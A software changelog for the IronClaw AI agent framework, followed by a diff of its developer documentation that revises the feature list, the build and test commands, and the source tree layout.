- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
### Fixed
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
### Other
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
### Added
- *(web)* improve WASM channel setup flow ([#380](https://github.com/nearai/ironclaw/pull/380))
- *(web)* inline tool activity cards with auto-collapsing ([#376](https://github.com/nearai/ironclaw/pull/376))
- *(web)* display logs newest-first in web gateway UI ([#369](https://github.com/nearai/ironclaw/pull/369))
- *(signal)* tool approval workflow and status updates ([#350](https://github.com/nearai/ironclaw/pull/350))
- add OpenRouter preset to setup wizard ([#270](https://github.com/nearai/ironclaw/pull/270))
- *(channels)* add native Signal channel via signal-cli HTTP daemon ([#271](https://github.com/nearai/ironclaw/pull/271))
### Fixed
- correct MCP registry URLs and remove non-existent Google endpoints ([#370](https://github.com/nearai/ironclaw/pull/370))
- resolve_thread adopts existing session threads by UUID ([#377](https://github.com/nearai/ironclaw/pull/377))
- resolve telegram/slack name collision between tool and channel registries ([#346](https://github.com/nearai/ironclaw/pull/346))
- make onboarding installs prefer release artifacts with source fallback ([#323](https://github.com/nearai/ironclaw/pull/323))
- copy missing files in Dockerfile to fix build ([#322](https://github.com/nearai/ironclaw/pull/322))
- fall back to build-from-source when extension download fails ([#312](https://github.com/nearai/ironclaw/pull/312))
### Other
- Add --version flag with clap built-in support and test ([#342](https://github.com/nearai/ironclaw/pull/342))
- Update FEATURE_PARITY.md ([#337](https://github.com/nearai/ironclaw/pull/337))
- add brew install ironclaw instructions ([#310](https://github.com/nearai/ironclaw/pull/310))
- Fix skills system: enable by default, fix registry and install ([#300](https://github.com/nearai/ironclaw/pull/300))
## [0.11.1](https://github.com/nearai/ironclaw/compare/v0.11.0...v0.11.1) - 2026-02-23
### Other
- Ignore out-of-date generated CI so custom release.yml jobs are allowed
## [0.11.0](https://github.com/nearai/ironclaw/compare/v0.10.0...v0.11.0) - 2026-02-23
### Fixed
- auto-compact and retry on ContextLengthExceeded ([#315](https://github.com/nearai/ironclaw/pull/315))
### Other
- *(README)* Adding badges to readme ([#316](https://github.com/nearai/ironclaw/pull/316))
- Feat/completion ([#240](https://github.com/nearai/ironclaw/pull/240))
## [0.10.0](https://github.com/nearai/ironclaw/compare/v0.9.0...v0.10.0) - 2026-02-22
### Added
- update dashboard favicon ([#309](https://github.com/nearai/ironclaw/pull/309))
- add web UI test skill for Chrome extension ([#302](https://github.com/nearai/ironclaw/pull/302))
- implement FullJob routine mode with scheduler dispatch ([#288](https://github.com/nearai/ironclaw/pull/288))
- hot-activate WASM channels, channel-first prompts, unified artifact resolution ([#297](https://github.com/nearai/ironclaw/pull/297))
- add pairing/permission system to all WASM channels and fix extension registry ([#286](https://github.com/nearai/ironclaw/pull/286))
- group chat privacy, channel-aware prompts, and safety hardening ([#285](https://github.com/nearai/ironclaw/pull/285))
- embedded registry catalog and WASM bundle install pipeline ([#283](https://github.com/nearai/ironclaw/pull/283))
- show token usage and cost tracker in gateway status popover ([#284](https://github.com/nearai/ironclaw/pull/284))
- support custom HTTP headers for OpenAI-compatible provider ([#269](https://github.com/nearai/ironclaw/pull/269))
- add smart routing provider for cost-optimized model selection ([#281](https://github.com/nearai/ironclaw/pull/281))
### Fixed
- persist user message at turn start before agentic loop ([#305](https://github.com/nearai/ironclaw/pull/305))
- block send until thread is selected ([#306](https://github.com/nearai/ironclaw/pull/306))
- reload chat history on SSE reconnect ([#307](https://github.com/nearai/ironclaw/pull/307))
- map Esc to interrupt and Ctrl+C to graceful quit ([#267](https://github.com/nearai/ironclaw/pull/267))
### Other
- Fix tool schema OpenAI compatibility ([#301](https://github.com/nearai/ironclaw/pull/301))
- simplify config resolution and consolidate main.rs init ([#287](https://github.com/nearai/ironclaw/pull/287))
- Update image source in README.md
- Add files via upload
- remove ExtensionSource::Bundled, use download-only install for WASM channels ([#293](https://github.com/nearai/ironclaw/pull/293))
- allow OAuth callback to work on remote servers (fixes #186) ([#212](https://github.com/nearai/ironclaw/pull/212))
- add rate limiting for built-in tools (closes #171) ([#276](https://github.com/nearai/ironclaw/pull/276))
- add LLM providers guide (OpenRouter, Together AI, Fireworks, Ollama, vLLM) ([#193](https://github.com/nearai/ironclaw/pull/193))
- Feat/html to markdown #106 ([#115](https://github.com/nearai/ironclaw/pull/115))
- adopt agent-market design language for web UI ([#282](https://github.com/nearai/ironclaw/pull/282))
- speed up startup from ~15s to ~2s ([#280](https://github.com/nearai/ironclaw/pull/280))
- consolidate tool approval into single param-aware method ([#274](https://github.com/nearai/ironclaw/pull/274))
## [0.9.0](https://github.com/nearai/ironclaw/compare/v0.8.0...v0.9.0) - 2026-02-21
### Added
- add TEE attestation shield to web gateway UI ([#275](https://github.com/nearai/ironclaw/pull/275))
- configurable tool iterations, auto-approve, and policy fix ([#251](https://github.com/nearai/ironclaw/pull/251))
### Fixed
- add X-Accel-Buffering header to SSE endpoints ([#277](https://github.com/nearai/ironclaw/pull/277))
## [0.8.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.7.0...ironclaw-v0.8.0) - 2026-02-20
### Added
- extension registry with metadata catalog and onboarding integration ([#238](https://github.com/nearai/ironclaw/pull/238))
- *(models)* add GPT-5.3 Codex, full GPT-5.x family, Claude 4.x series, o4-mini ([#197](https://github.com/nearai/ironclaw/pull/197))
- wire memory hygiene into the heartbeat loop ([#195](https://github.com/nearai/ironclaw/pull/195))
### Fixed
- persist WASM channel workspace writes across callbacks ([#264](https://github.com/nearai/ironclaw/pull/264))
- consolidate per-module ENV_MUTEX into crate-wide test lock ([#246](https://github.com/nearai/ironclaw/pull/246))
- remove auto-proceed fake user message injection from agent loop ([#255](https://github.com/nearai/ironclaw/pull/255))
- onboarding errors reset flow and remote server auth (#185, #186) ([#248](https://github.com/nearai/ironclaw/pull/248))
- parallelize tool call execution via JoinSet ([#219](https://github.com/nearai/ironclaw/pull/219)) ([#252](https://github.com/nearai/ironclaw/pull/252))
- prevent pipe deadlock in shell command execution ([#140](https://github.com/nearai/ironclaw/pull/140))
- persist turns after approval and add agent-level tests ([#250](https://github.com/nearai/ironclaw/pull/250))
### Other
- add automated PR labeling system ([#253](https://github.com/nearai/ironclaw/pull/253))
- update CLAUDE.md for recently merged features ([#183](https://github.com/nearai/ironclaw/pull/183))
## [0.7.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.6.0...ironclaw-v0.7.0) - 2026-02-19
### Added
- extend lifecycle hooks with declarative bundles ([#176](https://github.com/nearai/ironclaw/pull/176))
- support per-request model override in /v1/chat/completions ([#103](https://github.com/nearai/ironclaw/pull/103))
### Fixed
- harden openai-compatible provider, approval replay, and embeddings defaults ([#237](https://github.com/nearai/ironclaw/pull/237))
- Network Security Findings ([#201](https://github.com/nearai/ironclaw/pull/201))
### Added
- Refactored OpenAI-compatible chat completion routing to use the rig adapter and `RetryProvider` composition for custom base URL usage.
- Added Ollama embeddings provider support (`EMBEDDING_PROVIDER=ollama`, `OLLAMA_BASE_URL`) in workspace embeddings.
- Added migration `V9__flexible_embedding_dimension.sql` for flexible embedding vector dimensions.
### Changed
- Changed default sandbox image to `ironclaw-worker:latest` in config/settings/sandbox defaults.
- Improved tool-message sanitization and provider compatibility handling across NEAR AI, rig adapter, and shared LLM provider code.
### Fixed
- Fixed approval-input aliases (`a`, `/approve`, `/always`, `/deny`, etc.) in submission parsing.
- Fixed multi-tool approval resume flow by preserving and replaying deferred tool calls so all prior `tool_use` IDs receive matching `tool_result` messages.
- Fixed REPL quit/exit handling to route shutdown through the agent loop for graceful termination.
## [0.6.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.5.0...ironclaw-v0.6.0) - 2026-02-19
### Added
- add issue triage skill ([#200](https://github.com/nearai/ironclaw/pull/200))
- add PR triage dashboard skill ([#196](https://github.com/nearai/ironclaw/pull/196))
- add OpenRouter usage examples ([#189](https://github.com/nearai/ironclaw/pull/189))
- add Tinfoil private inference provider ([#62](https://github.com/nearai/ironclaw/pull/62))
- shell env scrubbing and command injection detection ([#164](https://github.com/nearai/ironclaw/pull/164))
- Add PR review tools, job monitor, and channel injection for E2E sandbox workflows ([#57](https://github.com/nearai/ironclaw/pull/57))
- Secure prompt-based skills system (Phases 1-4) ([#51](https://github.com/nearai/ironclaw/pull/51))
- Add benchmarking harness with spot suite ([#10](https://github.com/nearai/ironclaw/pull/10))
- 10 infrastructure improvements from zeroclaw ([#126](https://github.com/nearai/ironclaw/pull/126))
### Fixed
- *(rig)* prevent OpenAI Responses API panic on tool call IDs ([#182](https://github.com/nearai/ironclaw/pull/182))
- *(docs)* correct settings storage path in README ([#194](https://github.com/nearai/ironclaw/pull/194))
- OpenAI tool calling — schema normalization, missing types, and Responses API panic ([#132](https://github.com/nearai/ironclaw/pull/132))
- *(security)* prevent path traversal bypass in WASM HTTP allowlist ([#137](https://github.com/nearai/ironclaw/pull/137))
- persist OpenAI-compatible provider and respect embeddings disable ([#177](https://github.com/nearai/ironclaw/pull/177))
- remove .expect() calls in FailoverProvider::try_providers ([#156](https://github.com/nearai/ironclaw/pull/156))
- sentinel value collision in FailoverProvider cooldown ([#125](https://github.com/nearai/ironclaw/pull/125)) ([#154](https://github.com/nearai/ironclaw/pull/154))
- skills module audit cleanup ([#173](https://github.com/nearai/ironclaw/pull/173))
### Other
- Fix division by zero panic in ValueEstimator::is_profitable ([#139](https://github.com/nearai/ironclaw/pull/139))
- audit feature parity matrix against codebase and recent commits ([#202](https://github.com/nearai/ironclaw/pull/202))
- architecture improvements for contributor velocity ([#198](https://github.com/nearai/ironclaw/pull/198))
- fix rustfmt formatting from PR #137
- add .env.example examples for Ollama and OpenAI-compatible ([#110](https://github.com/nearai/ironclaw/pull/110))
## [0.5.0](https://github.com/nearai/ironclaw/compare/v0.4.0...v0.5.0) - 2026-02-17
### Added
- add cooldown management to FailoverProvider ([#114](https://github.com/nearai/ironclaw/pull/114))
## [0.4.0](https://github.com/nearai/ironclaw/compare/v0.3.0...v0.4.0) - 2026-02-17
### Added
- move per-invocation approval check into Tool trait ([#119](https://github.com/nearai/ironclaw/pull/119))
- add polished boot screen on CLI startup ([#118](https://github.com/nearai/ironclaw/pull/118))
- Add lifecycle hooks system with 6 interception points ([#18](https://github.com/nearai/ironclaw/pull/18))
### Other
- remove accidentally committed .sidecar and .todos directories ([#123](https://github.com/nearai/ironclaw/pull/123))
## [0.3.0](https://github.com/nearai/ironclaw/compare/v0.2.0...v0.3.0) - 2026-02-17
### Added
- direct api key and cheap model ([#116](https://github.com/nearai/ironclaw/pull/116))
## [0.2.0](https://github.com/nearai/ironclaw/compare/v0.1.3...v0.2.0) - 2026-02-16
### Added
- mark Ollama + OpenAI-compatible as implemented ([#102](https://github.com/nearai/ironclaw/pull/102))
- multi-provider inference + libSQL onboarding selection ([#92](https://github.com/nearai/ironclaw/pull/92))
- add multi-provider LLM failover with retry backoff ([#28](https://github.com/nearai/ironclaw/pull/28))
- add libSQL/Turso embedded database backend ([#47](https://github.com/nearai/ironclaw/pull/47))
- Move debug log truncation from agent loop to REPL channel ([#65](https://github.com/nearai/ironclaw/pull/65))
### Fixed
- shell destructive-command check bypassed by Value::Object arguments ([#72](https://github.com/nearai/ironclaw/pull/72))
- propagate real tool_call_id instead of hardcoded placeholder ([#73](https://github.com/nearai/ironclaw/pull/73))
- Fix wasm tool schemas and runtime ([#42](https://github.com/nearai/ironclaw/pull/42))
- flatten tool messages for NEAR AI cloud-api compatibility ([#41](https://github.com/nearai/ironclaw/pull/41))
- security hardening across all layers ([#35](https://github.com/nearai/ironclaw/pull/35))
### Other
- Explicitly enable cargo-dist caching for binary artifacts building
- Skip building binary artifacts on every PR
- add module specification rules to CLAUDE.md
- add setup/onboarding specification (src/setup/README.md)
- deduplicate tool code and remove dead stubs ([#98](https://github.com/nearai/ironclaw/pull/98))
- Reformat architecture diagram in README ([#64](https://github.com/nearai/ironclaw/pull/64))
- Add review discipline guidelines to CLAUDE.md ([#68](https://github.com/nearai/ironclaw/pull/68))
- Bump MSRV to 1.92, add GCP deployment files ([#40](https://github.com/nearai/ironclaw/pull/40))
- Add OpenAI-compatible HTTP API (/v1/chat/completions, /v1/models) ([#31](https://github.com/nearai/ironclaw/pull/31))
## [0.1.3](https://github.com/nearai/ironclaw/compare/v0.1.2...v0.1.3) - 2026-02-12
### Other
- Enabled builds caching during CI/CD
- Disabled npm publishing as the name is already taken
## [0.1.2](https://github.com/nearai/ironclaw/compare/v0.1.1...v0.1.2) - 2026-02-12
### Other
- Added Installation instructions for the pre-built binaries
- Disabled Windows ARM64 builds as auto-updater [provided by cargo-dist] does not support this platform yet and it is not a common platform for us to support
## [0.1.1](https://github.com/nearai/ironclaw/compare/v0.1.0...v0.1.1) - 2026-02-12
### Other
- Renamed the secrets in release-plz.yml to match the configuration
- Make sure that the binaries release CD it kicking in after release-plz
## [0.1.0](https://github.com/nearai/ironclaw/releases/tag/v0.1.0) - 2026-02-12
### Added
- Add multi-provider LLM support via rig-core adapter ([#36](https://github.com/nearai/ironclaw/pull/36))
- Sandbox jobs ([#4](https://github.com/nearai/ironclaw/pull/4))
- Add Google Suite & Telegram WASM tools ([#9](https://github.com/nearai/ironclaw/pull/9))
- Improve CLI ([#5](https://github.com/nearai/ironclaw/pull/5))
### Fixed
- resolve runtime panic in Linux keychain integration ([#32](https://github.com/nearai/ironclaw/pull/32))
### Other
- Skip release-plz on forks
- Upgraded release-plz CD pipeline
- Added CI/CD and release pipelines ([#45](https://github.com/nearai/ironclaw/pull/45))
- DM pairing + Telegram channel improvements ([#17](https://github.com/nearai/ironclaw/pull/17))
- Fixes build, adds missing sse event and correct command ([#11](https://github.com/nearai/ironclaw/pull/11))
- Codex/feature parity pr hook ([#6](https://github.com/nearai/ironclaw/pull/6))
- Add WebSocket gateway and control plane ([#8](https://github.com/nearai/ironclaw/pull/8))
- select bundled Telegram channel and auto-install ([#3](https://github.com/nearai/ironclaw/pull/3))
- Adding skills for reusable work
- Fix MCP tool calls, approval loop, shutdown, and improve web UI
- Add auth mode, fix MCP token handling, and parallelize startup loading
- Merge remote-tracking branch 'origin/main' into ui
- Adding web UI
- Rename `setup` CLI command to `onboard` for compatibility
- Add in-chat extension discovery, auth, and activation system
- Add Telegram typing indicator via WIT on-status callback
- Add proactivity features: memory CLI, session pruning, self-repair notifications, slash commands, status diagnostics, context warnings
- Add hosted MCP server support with OAuth 2.1 and token refresh
- Add interactive setup wizard and persistent settings
- Rebrand to IronClaw with security-first mission
- Fix build_software tool stuck in planning mode loop
- Enable sandbox by default
- Fix Telegram Markdown formatting and clarify tool/memory distinctions
- Simplify Telegram channel config with host-injected tunnel/webhook settings
- Apply Telegram channel learnings to WhatsApp implementation
- Merge remote-tracking branch 'origin/main'
- Docker file for sandbox
- Replace hardcoded intent patterns with job tools
- Fix router test to match intentional job creation patterns
- Add Docker execution sandbox for secure shell command isolation
- Move setup wizard credentials to database storage
- Add interactive setup wizard for first-run configuration
- Add Telegram Bot API channel as WASM module
- Add OpenClaw feature parity tracking matrix
- Add Chat Completions API support and expand REPL debugging
- Implementing channels to be handled in wasm
- Support non interactive mode and model selection
- Implement tool approval, fix tool definition refresh, and wire embeddings
- Tool use
- Wiring more
- Add heartbeat integration, planning phase, and auto-repair
- Login flow
- Extend support for session management
- Adding builder capability
- Load tools at launch
- Fix multiline message rendering in TUI
- Parse NEAR AI alternative response format with output field
- Handle NEAR AI plain text responses
- Disable mouse capture to allow text selection in TUI
- Add verbose logging to debug empty NEAR AI responses
- Improve NEAR AI response parsing for varying response formats
- Show status/thinking messages in chat window, debug empty responses
- Add timeout and logging to NEAR AI provider
- Add status updates to show agent thinking/processing state
- Add CLI subcommands for WASM tool management
- Fix TUI shutdown: send /shutdown message and handle in agent loop
- Remove SimpleCliChannel, add Ctrl+D twice quit, redirect logs to TUI
- Fix TuiChannel integration and enable in main.rs
- Integrate Codex patterns: task scheduler, TUI, sessions, compaction
- Adding LICENSE
- Add README with IronClaw branding
- Add WASM sandbox secure API extension
- Wire database Store into agent loop
- Implementing WASM runtime
- Add workspace integration tests
- Compact memory_tree output format
- Replace memory_list with memory_tree tool
- Simplify workspace to path-based storage, remove legacy code
- Add NEAR AI chat-api as default LLM provider
- Add CLAUDE.md project documentation
- Add workspace and memory system (OpenClaw-inspired)
- Initial implementation of the agent framework
+320 -436
View File
@@ -11,19 +11,11 @@
- **Always available** - Multi-channel access with proactive background execution
### Features
- **Multi-channel input**: TUI (Ratatui), HTTP webhooks, WASM channels (Telegram, Slack), web gateway
- **Multi-channel input**: TUI (Ratatui), HTTP webhooks, Telegram, WhatsApp, Slack (WASM channels)
- **Parallel job execution** with state machine and self-repair for stuck jobs
- **Sandbox execution**: Docker container isolation with network proxy and credential injection
- **Claude Code mode**: Delegate jobs to Claude CLI inside containers
- **Skills system**: SKILL.md prompt extensions with trust model, tool attenuation, and ClawHub registry
- **Routines**: Scheduled (cron) and reactive (event, webhook) task execution
- **Web gateway**: Browser UI with SSE/WebSocket real-time streaming
- **Extension management**: Install, auth, activate MCP/WASM extensions
- **Extensible tools**: Built-in tools, WASM sandbox, MCP client, dynamic builder
- **Persistent memory**: Workspace with hybrid search (FTS + vector via RRF)
- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection, shell env scrubbing
- **Multi-provider LLM**: NEAR AI, OpenAI, Anthropic, Ollama, OpenAI-compatible, Tinfoil private inference
- **Setup wizard**: 7-step interactive onboarding for first-run configuration
- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection
- **Heartbeat system**: Proactive periodic execution with checklist
## Build & Test
@@ -32,7 +24,7 @@
# Format code
cargo fmt
# Lint (fix ALL warnings before committing, including pre-existing ones)
# Lint (address warnings before committing)
cargo clippy --all --benches --tests --examples --all-features
# Run all tests
@@ -43,53 +35,31 @@ cargo test test_name
# Run with logging
RUST_LOG=ironclaw=debug cargo run
# Run integration tests (may require running services/DB)
cargo test --test workspace_integration
cargo test --test ws_gateway_integration
cargo test --test heartbeat_integration
# Run E2E tests (Python/Playwright — requires a running ironclaw instance)
# See tests/e2e/CLAUDE.md for full setup instructions
cd tests/e2e
python -m venv .venv && source .venv/bin/activate # On Windows: .venv\Scripts\activate
pip install -e .
playwright install chromium
pytest scenarios/ # all scenarios
pytest scenarios/test_chat.py # specific scenario
```
### Test Tiers
| Tier | Command | What runs | External deps |
|------|---------|-----------|---------------|
| Unit | `cargo test` | All `mod tests` + self-contained integration tests | None |
| Integration | `cargo test --features integration` | + PostgreSQL-dependent tests | Running PostgreSQL |
| Live | `cargo test --features integration -- --ignored` | + LLM-dependent tests | PostgreSQL + LLM API keys |
Run `bash scripts/check-boundaries.sh` to verify test tier gating and other architecture rules.
## Project Structure
```
src/
├── lib.rs # Library root, module declarations
├── main.rs # Entry point, CLI args, startup
├── app.rs # App startup orchestration (channel wiring, DB init)
├── bootstrap.rs # Base directory resolution (~/.ironclaw), early .env loading
├── settings.rs # User settings persistence (~/.ironclaw/settings.json)
├── service.rs # OS service management (launchd/systemd daemon install)
├── tracing_fmt.rs # Custom tracing formatter
├── util.rs # Shared utilities
├── config/ # Configuration from env vars (split by subsystem)
│ ├── mod.rs # Re-exports all config types; top-level Config struct
│ ├── agent.rs, llm.rs, channels.rs, database.rs, sandbox.rs, skills.rs
│ ├── heartbeat.rs, routines.rs, safety.rs, embeddings.rs, wasm.rs
│ ├── tunnel.rs # Tunnel provider config (TUNNEL_PROVIDER, TUNNEL_URL, etc.)
│ └── secrets.rs, hygiene.rs, builder.rs, helpers.rs
├── config.rs # Configuration from env vars
├── error.rs # Error types (thiserror)
├── agent/ # Core agent loop, dispatcher, scheduler, sessions — see src/agent/CLAUDE.md
├── agent/ # Core agent logic
│ ├── agent_loop.rs # Main Agent struct, message handling loop
│ ├── router.rs # MessageIntent classification
│ ├── scheduler.rs # Parallel job scheduling
│ ├── worker.rs # Per-job execution with LLM reasoning
│ ├── self_repair.rs # Stuck job detection and recovery
│ ├── heartbeat.rs # Proactive periodic execution
│ ├── session.rs # Session/thread/turn model with state machine
│ ├── session_manager.rs # Thread/session lifecycle management
│ ├── compaction.rs # Context window management with turn summarization
│ ├── context_monitor.rs # Memory pressure detection
│ ├── undo.rs # Turn-based undo/redo with checkpoints
│ ├── submission.rs # Submission parsing (undo, redo, compact, clear, etc.)
│ └── task.rs # Sub-task execution framework
├── channels/ # Multi-channel input
│ ├── channel.rs # Channel trait, IncomingMessage, OutgoingResponse
@@ -102,101 +72,30 @@ src/
│ │ ├── overlay.rs # Approval overlays
│ │ └── composer.rs # Message composition
│ ├── http.rs # HTTP webhook (axum) with secret validation
│ ├── webhook_server.rs # Unified HTTP server composing all webhook routes
── repl.rs # Simple REPL (for testing)
│ ├── web/ # Web gateway (browser UI) — see src/channels/web/CLAUDE.md
│ └── wasm/ # WASM channel runtime
│ ├── mod.rs
│ ├── bundled.rs # Bundled channel discovery
│ ├── capabilities.rs # Channel-specific capabilities (HTTP endpoint, emit rate)
│ ├── error.rs # WASM channel error types
│ ├── runtime.rs # WASM channel execution runtime
│ └── wrapper.rs # Channel trait wrapper for WASM modules
├── cli/ # CLI subcommands (clap)
│ ├── mod.rs # Cli struct, Command enum (run/onboard/config/tool/registry/mcp/memory/pairing/service/doctor/status/completion)
│ ├── config.rs # config list/get/set subcommands
│ ├── tool.rs # tool install/list/remove subcommands
│ ├── registry.rs # registry list/install subcommands
│ ├── mcp.rs # mcp add/auth/list/test subcommands
│ ├── memory.rs # memory search/read/write subcommands
│ ├── pairing.rs # pairing list/approve subcommands
│ ├── service.rs # service install/start/stop subcommands
│ ├── doctor.rs # Active health diagnostics
│ ├── status.rs # System health/status display
│ ├── completion.rs # Shell completion script generation
│ └── oauth_defaults.rs # Default OAuth redirect URIs
├── registry/ # Extension registry catalog
│ ├── mod.rs # Public API; re-exports RegistryCatalog, RegistryInstaller, manifest types
│ ├── manifest.rs # ExtensionManifest, ArtifactSpec, BundleDefinition types
│ ├── catalog.rs # RegistryCatalog: load from filesystem and embedded JSON
│ ├── installer.rs # RegistryInstaller: download, verify, install WASM artifacts
│ ├── artifacts.rs # Artifact download and caching
│ └── embedded.rs # Catalog compiled into binary at build time (via build.rs)
├── hooks/ # Lifecycle hooks for intercepting agent operations
│ ├── mod.rs # 6 HookPoints: BeforeInbound, BeforeToolCall, BeforeOutbound, OnSessionStart, OnSessionEnd, TransformResponse
│ ├── hook.rs # Hook trait, HookContext, HookEvent, HookOutcome, HookFailureMode
│ ├── registry.rs # HookRegistry: register, prioritize, execute hooks
│ └── bundled.rs # Built-in hooks: rule-based filters, webhook forwarders, HookBundleConfig
├── tunnel/ # Tunnel abstraction for public internet exposure
│ ├── mod.rs # Tunnel trait, TunnelProviderConfig, create_tunnel() factory
│ ├── cloudflare.rs # CloudflareTunnel (cloudflared binary)
│ ├── ngrok.rs # NgrokTunnel
│ ├── tailscale.rs # TailscaleTunnel (serve/funnel modes)
│ ├── custom.rs # CustomTunnel (arbitrary command with {host}/{port})
│ └── none.rs # NoneTunnel (local-only, no exposure)
├── observability/ # Pluggable event/metric recording
│ ├── mod.rs # create_observer() factory, ObservabilityConfig
│ ├── traits.rs # Observer trait, ObserverEvent, ObserverMetric
│ ├── noop.rs # NoopObserver (zero overhead, default)
│ ├── log.rs # LogObserver (tracing-based)
│ └── multi.rs # MultiObserver (fan-out to multiple backends)
├── orchestrator/ # Internal HTTP API for sandbox containers
│ ├── mod.rs
│ ├── api.rs # Axum endpoints (LLM proxy, events, prompts)
│ ├── auth.rs # Per-job bearer token store
│ └── job_manager.rs # Container lifecycle (create, stop, cleanup)
├── worker/ # Runs inside Docker containers
│ ├── mod.rs
│ ├── runtime.rs # Worker execution loop (tool calls, LLM)
│ ├── claude_bridge.rs # Claude Code bridge (spawns claude CLI)
│ ├── api.rs # HTTP client to orchestrator
│ └── proxy_llm.rs # LlmProvider that proxies through orchestrator
│ ├── slack.rs # Stub
── telegram.rs # Stub
├── safety/ # Prompt injection defense
│ ├── sanitizer.rs # Pattern detection, content escaping
│ ├── validator.rs # Input validation (length, encoding, patterns)
│ ├── policy.rs # PolicyRule system with severity/actions
── leak_detector.rs # Secret detection (API keys, tokens, etc.)
│ └── credential_detect.rs # HTTP request credential detection (headers, URL params)
── leak_detector.rs # Secret detection (API keys, tokens, etc.)
├── llm/ # Multi-provider LLM integration — see src/llm/CLAUDE.md
├── llm/ # LLM integration (NEAR AI only)
│ ├── provider.rs # LlmProvider trait, message types
│ ├── nearai.rs # NEAR AI chat-api implementation
│ ├── reasoning.rs # Planning, tool selection, evaluation
│ └── session.rs # Session token management with auto-renewal
├── tools/ # Extensible tool system
│ ├── tool.rs # Tool trait, ToolOutput, ToolError
│ ├── registry.rs # ToolRegistry for discovery
│ ├── sandbox.rs # Process-based sandbox (stub, superseded by wasm/)
│ ├── rate_limiter.rs # Shared sliding-window rate limiter for built-in and WASM tools
│ ├── builtin/ # Built-in tools
│ │ ├── echo.rs, time.rs, json.rs, http.rs
│ │ ├── web_fetch.rs # GET URL → clean Markdown (readability + html-to-md conversion)
│ │ ├── file.rs # ReadFile, WriteFile, ListDir, ApplyPatch
│ │ ├── shell.rs # Shell command execution
│ │ ├── memory.rs # Memory tools (search, write, read, tree)
│ │ ├── message.rs # MessageTool: agent proactively messages users on any channel
│ │ ├── job.rs # CreateJob, ListJobs, JobStatus, CancelJob
│ │ ├── routine.rs # routine_create/list/update/delete/history
│ │ ├── extension_tools.rs # Extension install/auth/activate/remove
│ │ ├── skill_tools.rs # skill_list/search/install/remove tools
│ │ ├── secrets_tools.rs # secret_list/secret_delete (zero-exposure: no values exposed)
│ │ ├── html_converter.rs # HTML→Markdown via readability + html-to-markdown-rs
│ │ ├── path_utils.rs # Shared path validation/canonicalization helpers
│ │ └── marketplace.rs, ecommerce.rs, taskrabbit.rs, restaurant.rs (stubs)
│ ├── builder/ # Dynamic tool building
│ │ ├── core.rs # BuildRequirement, SoftwareType, Language
@@ -205,8 +104,7 @@ src/
│ │ └── validation.rs # WASM validation
│ ├── mcp/ # Model Context Protocol
│ │ ├── client.rs # MCP client over HTTP
│ │ ── protocol.rs # JSON-RPC types
│ │ └── session.rs # MCP session management (Mcp-Session-Id header, per-server state)
│ │ ── protocol.rs # JSON-RPC types
│ └── wasm/ # Full WASM sandbox (wasmtime)
│ ├── runtime.rs # Module compilation and caching
│ ├── wrapper.rs # Tool trait wrapper for WASM modules
@@ -216,11 +114,8 @@ src/
│ ├── credential_injector.rs # Safe credential injection
│ ├── loader.rs # WASM tool discovery from filesystem
│ ├── rate_limiter.rs # Per-tool rate limiting
│ ├── error.rs # WASM-specific error types
│ └── storage.rs # Linear memory persistence
├── db/ # Dual-backend persistence (PostgreSQL + libSQL) — see src/db/CLAUDE.md
├── workspace/ # Persistent memory system (OpenClaw-inspired)
│ ├── mod.rs # Workspace struct, memory operations
